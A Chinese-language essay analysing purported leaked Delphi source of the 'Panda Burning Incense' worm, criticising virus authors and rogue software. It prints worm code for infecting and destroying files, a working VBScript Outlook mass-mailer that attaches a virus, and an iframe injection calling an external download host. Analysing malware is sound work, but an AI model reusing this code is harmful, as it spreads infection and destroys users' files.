隨著“熊貓燒香”病毒的始作俑者的落網,關於“熊貓燒香”病毒的危害和殺毒風波告一段落,然而隨著“熊貓燒香”病毒源代碼在網上的流行,一種隱含的巨大的危害仿佛才剛剛開始。
一、 引言
去年秋天回趟老家,適逢家中秋收後“祭宅神”。期間,聽親家二大娘在香畢吟頌的《十柱香》的佛歌,深有感觸:百姓燒香祝的是神仙幸福,盼的是親人平安—這是作為衣食百姓發自內心的心願!但如今,正待舉國上下、一家老小慶祝金豬佳節到來之際,圖1中的這位老兄搶先一步把香燒到了幾乎家家戶戶,燒得各位焦頭爛額,人人喊“殺”。
試問這位仁兄:你到底想干什麼?
圖1.“熊貓燒香”病毒感染可執行文件後的文件圖標。
在短短一個月時間裡,“熊貓燒香”作者多次發布更新版的變種病毒,每一次都針對以前設計的不完善進行修改,每次更新都幾盡感染破壞之能事。他為什麼要如此辛勞地研制病毒程序呢?本人十分同意一些防毒軟件專家的觀點—“‘熊貓燒香’帶有強烈的商業目的,用戶感染病毒後,會從後台點擊國外的網站,部分變種中含有盜號木馬,病毒作者可借此牟利……”。
最近,一份據稱是“熊貓燒香”病毒的源代碼正在互聯網上散播,任何人只要利用Google或者Baidu等搜索工具都可以輕易獲得(本人也是如此取得的代碼)。粗略分析該代碼後,我們注意到:該病毒在感染至日文操作系統時破壞性尤甚,但對其它語言Windows也造成了嚴重破壞。
本文中,我想對這個基於Delphi語言所編寫的“熊貓燒香源碼”作進一步分析,並闡述自己的幾點看法。
二、 “熊貓燒香”病毒“源碼”淺析
(一) 主程序段分析
原“熊貓燒香”病毒“源碼”主程序段代碼如下所示:
{==================主程序開始====================}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了,開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件……....Line n
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之……....Line n+7
InfectFiles; //感染和發郵件
end;
end.
稍加分析,我們不難繪出其相應的執行流程(如圖2):
圖2.主程序流程圖。
對於代碼:
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
雖然源碼提供者省略了相應實現,但這是比較基本的編程實現。通過把自身注冊為服務進程,可以使自己隨著系統的啟動一起啟動。當然,還可以進一步施加技巧而使自己從Windows任務管理器下隱藏顯示。
然後,上面代碼在判斷當前操作系統不是Win9X後,提到“遠程線程映射到Explorer進程”一句。其實這裡所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高級編程技術》(後多次更句)一書第16章“闖過進程的邊界”中詳細討論的“使用遠程線程來注入一個DLL”技術。如今,只要上網GOOGLE一下“遠程線程映射技術”即出現大量實現片斷,故在不再贅述。那麼,它(包括其它許多病毒)為什麼要映射到Explorer進程呢?原來,Explorer(注:Windows資源管理器的名字也是Explorer.exe,但並不是一回事!)進程在Windows系統中舉足輕重—Windows在啟動過程中都會隨同激活一個名為Explorer.exe的進程。它用於管理Windows圖形外殼,包括開始菜單、任務欄、桌面和文件管理等,損壞或刪除該程序會導致Windows圖形界面無法適用。注:這並不是說Windows的運行根本離不開它;但刪除掉這個程序後,整個Windows桌面無法再用,而對於普通用戶也感覺到好象無法再使用Windows了。
另注:VCL函數Paramstr(n)的作用是返回當前可執行文件指定的命令行參數;當n=0時,返回當前可執行文件名(包含完整的路徑)。
因此,上面代碼中從第n行到第n+7行的作用是,從已感染的宿主程序中分離出原無染程序代碼部分,並啟動此無染程序。這是病毒的重要偽裝手段之一:不是一下子使宿主中毒癱瘓,而是感染宿主使之達到繼續傳播目標的同時,啟動另一個“原”無毒程序(實際上文件名已經改變,加了一個空格字符)。
接下來,讓我們深入分析上面流程中“InfectFiles(感染文件)”部分的執行過程。
(二) 具體感染文件的過程
這個子過程的源碼如下所示:
{遍歷磁盤上所有的文件並實際感染}
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統。函數GetACP用於檢索系統所用語言
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁盤列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁盤驅動器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鐘—病毒常用簡單詐騙術之一
end;
end;{ === InfectFiles }
這裡的核心是後面的死循環。先讓我們分析較簡單的“發帶毒郵件”部分。從後面病毒具體遍歷可用磁盤並執行具體感染過程可知,此過程中,它會取得安裝在本機中的常用郵件客戶端程序(Outlook,FoxMail)相應電子郵件信息。其目的是:取得重要郵箱地址及相應密碼,然後向這些郵件地址群發帶毒的電子郵件,從而達到利用網絡傳播自身的目的。下面是從網上摘錄的一段VBScript腳本:
Set objOA=Wscript.CreateObject("Outlook.Application")
'創建一個OUTLOOK應用的對象
Set objMapi=objOA.GetNameSpace("MAPI")
'取得MAPI名字空間
For i=1 to objMapi.AddressLists.Count
'遍歷地址簿
Set objAddList=objMapi.AddressLists(i)
For j=1 To objAddList. AddressEntries.Count
Set objMail=objOA.CreateItem (0)
objMail.Recipients.Add (objAddList. AddressEntries (j))
'取得收件人郵件地址
objMail.Subject="你好!"
'設置郵件主題
objMail.Body="這次給你的附件,是我的新文檔!"
'設置信件內容
objMail.Attachments.Add(“c:\virus.vbs")
'把自己作為附件擴散出去
objMail.Send
'發送郵件
Next
Next
Set objMapi=Nothing
Set objOA=Nothing
注意,這段代碼是非常基本的使用VBScript腳本操作Outlook COM對象,並進而達到通過編程方式操作Outlook發送特定郵件的編程技術。其中,最關鍵的一句在於:
objMail.Attachments.Add(“c:\virus.vbs")
在此,任何一名病毒制作者都可以把這個附件文件名修改為新病毒文件自身!
(三) LoopFiles子過程分析
這個子程序的功能是:遍歷本地磁盤,並詳細實施感染及破壞過程。在此列出其關鍵代碼片斷:
{ 遍歷目錄,感染和摧毀文件 }
procedure LoopFiles(Path, Mask: string);
var
//……局部變量定義
Msg: TMsg;
// IsValidDir判斷指定對象是否是“目錄”……
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then //Line X
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,將Base64編碼後的病毒寫入
//感染浏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
……then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒,避免CPU占用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
此子過程是典型的遍歷本機中所有可用盤中的所有子目錄下的所有文件並施行相應操作的編碼。既如此,那麼讓我們從Line X開始分析。在確定當前文件為可執行文件(僅針對.EXE和.SCR文件)後,調用子過程InfectOneFile進行特定的感染。接下來,如果文件為某些網頁(擴展名為.HTM、.HTML和.ASP),則繼續感染這些網頁文件—在網頁最後加入類似如下的代碼段(本代碼摘自某君對一種“熊貓病毒”變體的分析結果):
<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
於是,用戶在啟動此網頁時,即可把URL導航到自己指定的網址(注:讀者試驗時不妨修改一下其中的URL,還有width和height等參數,效果會更明顯)。接下來,程序進一步判斷如果當前文件是電子郵件客戶端程序相應的郵件地址數據文件,則取得這些地址信息。雖然此處沒有說明如何使用它們,但根據普通蠕蟲病毒特征,應該是把帶有自身(病毒體)的郵件發送到這些郵件地址,進而達到利用網絡傳播自身的目的。奇怪的是,等程序執行(判斷)到語句“if IsJap then”處—此時已經對滿足前面特征的文件執行完相應的感染或傳播—才判斷操作系統是否為日文版本。如果是,則對另外一些常見文件類型(.DOC、.XLS、.MDB…….AVI)進行徹底破壞(調用過程SmashFile徹底摧毀文件)。看起來,這位“燒香”仁兄也是一位“愛國主義”分子。只可惜,在“打倒日本帝國主義”之前,你的廣大同胞已經被“焚得焦頭爛額”了。
三、 “熊貓燒香”源碼告訴我們什麼?
(一)病毒的編寫變得相對越來越容易
記得本人92年剛從學校畢業時,要想深入學習一點DOS內核編程技術,不得不費神“遠程郵寄”參考書。而如今的互聯網上黑客教程遍地:XX黑客教程,XX破解教程,各種流行程序漏洞掃描教程……國內的,國外的,應有盡有。另一方面,微機早已進入普通家庭,這對各種計算機技術的普及也起到巨大的推動作用。所有這些極大地推動了病毒編寫技術的傳播,乃至於幾乎人人都能寫點病毒,但由於軟件編碼特有的“細活”之特性,使得不少學習粗心者“無意插柳柳成蔭”。
(二)病毒的傳播越來越容易
在上面的代碼中,我們注意到如下幾點:第一,程序遍歷磁盤上郵件地址庫把自己作為電子郵件附件發送出去;第二,病毒感染網頁文件(簡單地在網頁最後加入一小段代碼),致使當前打開此網頁時即激活病毒體。這些“作戰”手段借助於廣泛普及的因特網幾乎是一蹴而就的事情。因而,從這種角度講,病毒的傳播已變得越來越容易。
(三)病毒代碼傳播的兩面性
如今回趟沂蒙老家,在普通農莊以ADSL上網已成趨勢,而且這種趨勢可能較之於有線電視傳播更為迅速。似本文“熊貓燒香”病毒“源代碼”,其效能如同前面所提之各大“教程”;從其正面看,將極大地推動軟件技術的發展和廣大軟件愛好者的研制技術;但從其消極面看,對於想制造病毒的人來說,也有相當的技術參考價值。只要稍試修改,很多“好事者”都可以藉此制造出病毒變種,說不定哪天又來個“鼠年喊打鼠”,“牛年喊殺牛”。
總之,網絡是把雙刃,或者說技術是把雙刃劍,這在計算機軟件業已得到最充分的認證!於此,作者也不由得靈光一現:如果說“護花使者”類軟件在國內外極受廣大家長用戶的歡迎,那麼,研究一款輔助警方緝拿這等網絡犯罪的共享軟件,也必定受寵(提及此,我們不由得再發感歎:也許還是國人軟件法不健全,抑或是另有苦衷?網絡犯罪豈是來無影去無蹤般神話?)。各位仁君不妨一試。
(四)“流氓軟件” 離病毒僅一步之遙
且看中國互聯網協會公布的流氓軟件官方定義:
惡意軟件定義:是指在未明確提示用戶或未經用戶許可的情況下,在用戶計算機或其他終端上安裝運行,侵犯用戶合法權益的軟件,但已被我國現有法律法規規定的計算機病毒除外。其具體特征包括:強制安裝、難以卸載、浏覽器劫持、廣告彈出、惡意收集用戶信息、惡意卸載、惡意捆綁以及其他侵犯用戶知情權、選擇權的惡意行為。
本人從網上也看到此“熊貓燒香”病毒作者留言的病毒制作“動機”,但從該病毒其它版本頻繁從後台啟動國外指定網頁的行為來看,確有其明確的商業動機。中國軟件市場之混亂,猶如計算機病毒之“毒瘤”,改革開放之“腐敗”毒瘤,不治將恐甚。因此,從最近“熊貓燒香”新版的“金豬鬧春”發展勢頭來看,縱使該作者在論壇上透露將終止繼續研發新版本,但國軟市場之混亂加上有其巨大的商業利益驅動,他豈能就此罷手?
如今,網上大批特批“流氓軟件”,“灰色軟件”。請問:這樣的日子何時是個盡頭?恕在下直言,如果不從根本上整頓國軟市場之混亂局面,類似這種在網上瘋傳的“熊貓燒香”之“源碼”必使“灰色軟件”愈灰,“流氓軟件”之愈流氓!
四、 小結
如今網上流傳的“熊貓燒香源碼”,不由得不引發人們無盡的思考。我想,聯系中國特色的軟件市場來認識這樣的問題似乎更為合適。“熊貓”、“燒香”本來各自是美好事物和良好祝福的象征,現在卻不由得不令人心焦。權當本文系在下之胡言亂語。最後,謹祝各位:金豬之年財運望,發良財,發洋財,而不是發橫財!